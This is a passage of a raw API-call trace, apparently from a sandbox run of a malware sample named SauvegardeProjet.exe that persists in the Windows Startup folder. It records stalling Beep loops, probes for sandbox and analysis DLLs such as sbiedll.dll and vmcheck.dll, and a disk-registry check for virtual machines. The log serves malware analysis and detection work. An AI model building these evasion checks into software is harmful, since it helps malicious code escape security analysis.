(dwFreq=0x25, dwDuration=0x1) returned 1 [0252.205] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.206] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.207] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.208] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.209] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.210] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.211] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.212] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.213] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.214] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.215] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.216] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.217] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.218] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.219] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.220] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.221] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.222] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.228] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.236] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.237] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.238] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.239] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.240] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.241] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.242] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.243] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.244] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.245] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.247] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.248] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.249] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.250] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.251] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.252] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.253] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.254] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.255] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.256] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.257] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.258] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.259] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.260] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.261] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.264] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.265] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.266] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.267] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.268] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.269] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.270] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.271] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.296] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.297] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.298] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.299] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.300] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.301] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.302] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.303] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.304] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.305] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.306] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.307] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.308] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.309] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.310] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.311] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.312] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.313] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.314] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.315] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.316] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.317] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.318] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.319] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.320] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.321] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.322] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.323] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.324] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.325] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.326] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.327] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.328] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.329] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.330] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.331] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.332] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.333] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.334] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.335] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.336] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.337] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.338] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.339] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.340] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.341] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.342] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.343] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.344] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0257.941] GetTimeZoneInformation (in: lpTimeZoneInformation=0x540df60 | out: lpTimeZoneInformation=0x540df60) returned 0x2 [0257.944] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x540ddb4 | out: pTimeZoneInformation=0x540ddb4) returned 0x2 [0257.945] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x540de98 | out: phkResult=0x540de98*=0x294) returned 0x0 [0257.945] RegQueryValueExW (in: hKey=0x294, lpValueName="TZI", lpReserved=0x0, lpType=0x540deb4, lpData=0x0, lpcbData=0x540deb0*=0x0 | out: lpType=0x540deb4*=0x3, lpData=0x0, lpcbData=0x540deb0*=0x2c) returned 0x0 [0257.946] RegQueryValueExW (in: hKey=0x294, lpValueName="TZI", lpReserved=0x0, lpType=0x540deb4, lpData=0x2583b38, lpcbData=0x540deb0*=0x2c | out: lpType=0x540deb4*=0x3, lpData=0x2583b38*, lpcbData=0x540deb0*=0x2c) returned 0x0 [0257.946] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x540dcec | out: phkResult=0x540dcec*=0x2a0) returned 0x0 [0257.946] RegQueryValueExW (in: hKey=0x2a0, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x540dd08, lpData=0x0, lpcbData=0x540dd04*=0x0 | out: lpType=0x540dd08*=0x4, lpData=0x0, lpcbData=0x540dd04*=0x4) returned 0x0 [0257.947] RegQueryValueExW (in: hKey=0x2a0, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x540dd08, lpData=0x540dcf4, lpcbData=0x540dd04*=0x4 | out: lpType=0x540dd08*=0x4, lpData=0x540dcf4*=0x7d7, lpcbData=0x540dd04*=0x4) returned 0x0 [0257.947] RegQueryValueExW (in: hKey=0x2a0, lpValueName="LastEntry", lpReserved=0x0, lpType=0x540dd08, lpData=0x0, lpcbData=0x540dd04*=0x0 | out: lpType=0x540dd08*=0x4, lpData=0x0, lpcbData=0x540dd04*=0x4) returned 0x0 [0257.947] RegQueryValueExW (in: hKey=0x2a0, lpValueName="LastEntry", lpReserved=0x0, lpType=0x540dd08, lpData=0x540dcf4, lpcbData=0x540dd04*=0x4 | out: lpType=0x540dd08*=0x4, lpData=0x540dcf4*=0x7d8, lpcbData=0x540dd04*=0x4) returned 0x0 [0257.947] RegQueryValueExW (in: hKey=0x2a0, lpValueName="2007", lpReserved=0x0, lpType=0x540dd08, lpData=0x0, lpcbData=0x540dd04*=0x0 | out: lpType=0x540dd08*=0x3, lpData=0x0, lpcbData=0x540dd04*=0x2c) returned 0x0 [0257.947] RegQueryValueExW (in: hKey=0x2a0, lpValueName="2007", lpReserved=0x0, lpType=0x540dd08, lpData=0x25840f8, lpcbData=0x540dd04*=0x2c | out: lpType=0x540dd08*=0x3, lpData=0x25840f8*, lpcbData=0x540dd04*=0x2c) returned 0x0 [0257.947] RegQueryValueExW (in: hKey=0x2a0, lpValueName="2008", lpReserved=0x0, lpType=0x540dd08, lpData=0x0, lpcbData=0x540dd04*=0x0 | out: lpType=0x540dd08*=0x3, lpData=0x0, lpcbData=0x540dd04*=0x2c) returned 0x0 [0257.947] RegQueryValueExW (in: hKey=0x2a0, lpValueName="2008", lpReserved=0x0, lpType=0x540dd08, lpData=0x25841b8, lpcbData=0x540dd04*=0x2c | out: lpType=0x540dd08*=0x3, lpData=0x25841b8*, lpcbData=0x540dd04*=0x2c) returned 0x0 [0257.947] RegCloseKey (hKey=0x2a0) returned 0x0 [0257.948] RegQueryValueExW (in: hKey=0x294, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x540de8c, lpData=0x0, lpcbData=0x540de88*=0x0 | out: lpType=0x540de8c*=0x1, lpData=0x0, lpcbData=0x540de88*=0x20) returned 0x0 [0257.948] RegQueryValueExW (in: hKey=0x294, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x540de8c, lpData=0x2584300, lpcbData=0x540de88*=0x20 | out: lpType=0x540de8c*=0x1, lpData="@tzres.dll,-670", lpcbData=0x540de88*=0x20) returned 0x0 [0257.948] RegQueryValueExW (in: hKey=0x294, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x540de8c, lpData=0x0, lpcbData=0x540de88*=0x0 | out: lpType=0x540de8c*=0x1, lpData=0x0, lpcbData=0x540de88*=0x20) returned 0x0 [0257.948] RegQueryValueExW (in: hKey=0x294, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x540de8c, lpData=0x2584358, lpcbData=0x540de88*=0x20 | out: lpType=0x540de8c*=0x1, lpData="@tzres.dll,-672", lpcbData=0x540de88*=0x20) returned 0x0 [0257.948] RegQueryValueExW (in: hKey=0x294, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x540de8c, lpData=0x0, lpcbData=0x540de88*=0x0 | out: lpType=0x540de8c*=0x1, lpData=0x0, lpcbData=0x540de88*=0x20) returned 0x0 [0257.948] RegQueryValueExW (in: hKey=0x294, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x540de8c, lpData=0x25843b0, lpcbData=0x540de88*=0x20 | out: lpType=0x540de8c*=0x1, lpData="@tzres.dll,-671", lpcbData=0x540de88*=0x20) returned 0x0 [0257.958] CoTaskMemAlloc (cb=0x20c) returned 0x6685290 [0257.958] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x6685290 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0257.960] CoTaskMemFree (pv=0x6685290) [0257.960] CoTaskMemAlloc (cb=0x20c) returned 0x6685290 [0257.960] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x540dea8, pwszFileMUIPath=0x6685290, pcchFileMUIPath=0x540deac, pululEnumerator=0x540dea0 | out: pwszLanguage=0x0, pcchLanguage=0x540dea8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x540deac, pululEnumerator=0x540dea0) returned 1 [0257.964] CoTaskMemFree (pv=0x0) [0257.964] CoTaskMemFree (pv=0x6685290) [0257.965] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xe10001 [0257.966] CoTaskMemAlloc (cb=0x3ec) returned 0x6685290 [0257.966] LoadStringW (in: hInstance=0xe10001, uID=0x29e, lpBuffer=0x6685290, cchBufferMax=500 | out: lpBuffer="(UTC+10:00) Canberra, Melbourne, Sydney") returned 0x27 [0257.966] CoTaskMemFree (pv=0x6685290) [0257.966] FreeLibrary (hLibModule=0xe10001) returned 1 [0257.967] CoTaskMemAlloc (cb=0x20c) returned 0x6685290 [0257.967] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x6685290 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0257.967] CoTaskMemFree (pv=0x6685290) [0257.967] CoTaskMemAlloc (cb=0x20c) returned 0x6685290 [0257.967] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x540dea8, pwszFileMUIPath=0x6685290, pcchFileMUIPath=0x540deac, pululEnumerator=0x540dea0 | out: pwszLanguage=0x0, pcchLanguage=0x540dea8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x540deac, pululEnumerator=0x540dea0) returned 1 [0257.968] CoTaskMemFree (pv=0x0) [0257.968] CoTaskMemFree (pv=0x6685290) [0257.968] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xe10001 [0257.969] CoTaskMemAlloc (cb=0x3ec) returned 0x6685290 [0257.969] LoadStringW (in: hInstance=0xe10001, uID=0x2a0, lpBuffer=0x6685290, cchBufferMax=500 | out: lpBuffer="AUS Eastern Standard Time") returned 0x19 [0257.969] CoTaskMemFree (pv=0x6685290) [0257.969] FreeLibrary (hLibModule=0xe10001) returned 1 [0257.969] CoTaskMemAlloc (cb=0x20c) returned 0x6685290 [0257.969] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x6685290 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0257.969] CoTaskMemFree (pv=0x6685290) [0257.969] CoTaskMemAlloc (cb=0x20c) returned 0x6685290 [0257.969] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x540dea8, pwszFileMUIPath=0x6685290, pcchFileMUIPath=0x540deac, pululEnumerator=0x540dea0 | out: pwszLanguage=0x0, pcchLanguage=0x540dea8, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x540deac, pululEnumerator=0x540dea0) returned 1 [0257.970] CoTaskMemFree (pv=0x0) [0257.970] CoTaskMemFree (pv=0x6685290) [0257.970] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0xe10001 [0257.971] CoTaskMemAlloc (cb=0x3ec) returned 0x6685290 [0257.971] LoadStringW (in: hInstance=0xe10001, uID=0x29f, lpBuffer=0x6685290, cchBufferMax=500 | out: lpBuffer="AUS Eastern Daylight Time") returned 0x19 [0257.971] CoTaskMemFree (pv=0x6685290) [0257.971] FreeLibrary (hLibModule=0xe10001) returned 1 [0257.971] RegCloseKey (hKey=0x294) returned 0x0 [0258.010] NtDelayExecution (Alertable=0, Interval=0x25906c8*=-2080000) returned 0x0 [0258.378] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x6681e70 [0258.378] CoTaskMemAlloc (cb=0x18) returned 0x591050 [0258.389] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="sbiedll.dll", DllHandle=0x540e398 | out: DllHandle=0x540e398*=0x0) returned 0xc0000135 [0258.390] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x6681cb0 [0258.390] CoTaskMemAlloc (cb=0x18) returned 0x5911b0 [0258.402] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="guard32.dll", DllHandle=0x540e398 | out: DllHandle=0x540e398*=0x0) returned 0xc0000135 [0258.403] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x6681db0 [0258.403] CoTaskMemAlloc (cb=0x18) returned 0x591110 [0258.408] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="dbghelp.dll", DllHandle=0x540e398 | out: DllHandle=0x540e398*=0x0) returned 0xc0000135 [0258.409] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x6681d90 [0258.409] CoTaskMemAlloc (cb=0x18) returned 0x66828a8 [0258.412] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="api_log.dll", DllHandle=0x540e398 | out: DllHandle=0x540e398*=0x0) returned 0xc0000135 [0258.413] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x6681c70 [0258.413] CoTaskMemAlloc (cb=0x1c) returned 0x6687250 [0258.419] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="dir_watch.dll", DllHandle=0x540e398 | out: DllHandle=0x540e398*=0x0) returned 0xc0000135 [0258.420] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x6681dc0 [0258.420] CoTaskMemAlloc (cb=0x18) returned 0x66829c8 [0258.422] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="vmcheck.dll", DllHandle=0x540e398 | out: DllHandle=0x540e398*=0x0) returned 0xc0000135 [0258.422] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x6683998 [0258.422] CoTaskMemAlloc (cb=0x18) returned 0x6682808 [0258.423] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="LOG_API.DLL", DllHandle=0x540e398 | out: DllHandle=0x540e398*=0x0) returned 0xc0000135 [0258.424] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x66852d8 [0258.424] CoTaskMemAlloc (cb=0x18) returned 0x66829e8 [0258.425] LdrGetDllHandle (in: DllPath=0x0, DllCharacteristics=0x0, DllName="pstorec.dll", DllHandle=0x540e398 | out: DllHandle=0x540e398*=0x0) returned 0xc0000135 [0258.428] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\ControlSet001\\Services\\Disk\\Enum", ulOptions=0x0, samDesired=0x20019, phkResult=0x540e0ec | out: phkResult=0x540e0ec*=0x294) returned 0x0 [0258.429] RegQueryValueExW (in: hKey=0x294, lpValueName="0", lpReserved=0x0, lpType=0x540e108, lpData=0x0, lpcbData=0x540e104*=0x0 | out: lpType=0x540e108*=0x1, lpData=0x0, lpcbData=0x540e104*=0x98) returned 0x0 [0258.429] RegQueryValueExW (in: hKey=0x294, lpValueName="0", lpReserved=0x0, lpType=0x540e108, lpData=0x2638294, lpcbData=0x540e104*=0x98 | out: lpType=0x540e108*=0x1, lpData="IDE\\DiskHD502HI_________________________________OF90____\\5&37d1a386&0&0.0.0", lpcbData=0x540e104*=0x98) returned 0x0 [0258.436] RegCloseKey (hKey=0x294) returned 0x0 [0258.481] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", nBufferLength=0x105, lpBuffer=0x540decc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", lpFilePart=0x0) returned 0x51 [0258.675] CoTaskMemAlloc (cb=0x20c) returned 0x6685690 [0258.675] SHGetFolderPathW (in: hwnd=0x0, csidl=41, hToken=0x0, dwFlags=0x0, pszPath=0x6685690 | out: pszPath="C:\\Windows\\SysWOW64") returned 0x0 [0258.676] CoTaskMemFree (pv=0x6685690) [0258.676] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64", nBufferLength=0x105, lpBuffer=0x540deb8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64", lpFilePart=0x0) returned 0x13 [0258.803] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x36afbf0, Length=0x20000, ResultLength=0x540e29c | out: SystemInformation=0x36afbf0, ResultLength=0x540e29c*=0x7e98) returned 0x0 [0260.469] GetCurrentProcessId () returned 0x55c [0260.469] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x2c0 [0260.469] EnumProcessModules (in: hProcess=0x2c0, lphModule=0x253e284, cb=0x100, lpcbNeeded=0x540c0b0 | out: lphModule=0x253e284, lpcbNeeded=0x540c0b0) returned 1 [0260.469] GetModuleInformation (in: hProcess=0x2c0, hModule=0xfe0000, lpmodinfo=0x253e3c4, cb=0xc | out: lpmodinfo=0x253e3c4*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0260.470] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.470] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0xfe0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0260.470] CoTaskMemFree (pv=0x66891e8) [0260.470] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.470] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0xfe0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0260.470] CoTaskMemFree (pv=0x66891e8) [0260.470] GetModuleInformation (in: hProcess=0x2c0, hModule=0x77b10000, lpmodinfo=0x2540564, cb=0xc | out: lpmodinfo=0x2540564*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0260.470] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.470] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x77b10000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0260.470] CoTaskMemFree (pv=0x66891e8) [0260.470] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.470] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x77b10000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0260.471] CoTaskMemFree (pv=0x66891e8) [0260.471] GetModuleInformation (in: hProcess=0x2c0, hModule=0x736a0000, lpmodinfo=0x2542668, cb=0xc | out: lpmodinfo=0x2542668*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0260.471] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.471] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x736a0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0260.471] CoTaskMemFree (pv=0x66891e8) [0260.471] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.471] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x736a0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0260.471] CoTaskMemFree (pv=0x66891e8) [0260.471] GetModuleInformation (in: hProcess=0x2c0, hModule=0x77540000, lpmodinfo=0x2544774, cb=0xc | out: lpmodinfo=0x2544774*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0260.471] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.471] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x77540000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0260.471] CoTaskMemFree (pv=0x66891e8) [0260.472] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.472] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x77540000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0260.472] CoTaskMemFree (pv=0x66891e8) [0260.472] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75990000, lpmodinfo=0x2546888, cb=0xc | out: lpmodinfo=0x2546888*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0260.472] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.472] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75990000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0260.472] CoTaskMemFree (pv=0x66891e8) [0260.472] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.472] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75990000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0260.472] CoTaskMemFree (pv=0x66891e8) [0260.472] GetModuleInformation (in: hProcess=0x2c0, hModule=0x773f0000, lpmodinfo=0x25489d0, cb=0xc | out: lpmodinfo=0x25489d0*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0260.473] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.473] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x773f0000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0260.473] CoTaskMemFree (pv=0x66891e8) [0260.473] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.473] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x773f0000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0260.473] CoTaskMemFree (pv=0x66891e8) [0260.473] GetModuleInformation (in: hProcess=0x2c0, hModule=0x77490000, lpmodinfo=0x254aae4, cb=0xc | out: lpmodinfo=0x254aae4*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0260.473] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.473] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x77490000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0260.474] CoTaskMemFree (pv=0x66891e8) [0260.474] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.474] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x77490000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0260.474] CoTaskMemFree (pv=0x66891e8) [0260.474] GetModuleInformation (in: hProcess=0x2c0, hModule=0x75f70000, lpmodinfo=0x254cbf0, cb=0xc | out: lpmodinfo=0x254cbf0*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0260.474] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.474] GetModuleBaseNameW (in: hProcess=0x2c0, hModule=0x75f70000, lpBaseName=0x66891e8, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0260.474] CoTaskMemFree (pv=0x66891e8) [0260.474] CoTaskMemAlloc (cb=0x804) returned 0x66891e8 [0260.474] GetModuleFileNameExW (in: hProcess=0x2c0, hModule=0x75f70000, lpFilename=0x66891e8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0260.475] CoTaskMemFree 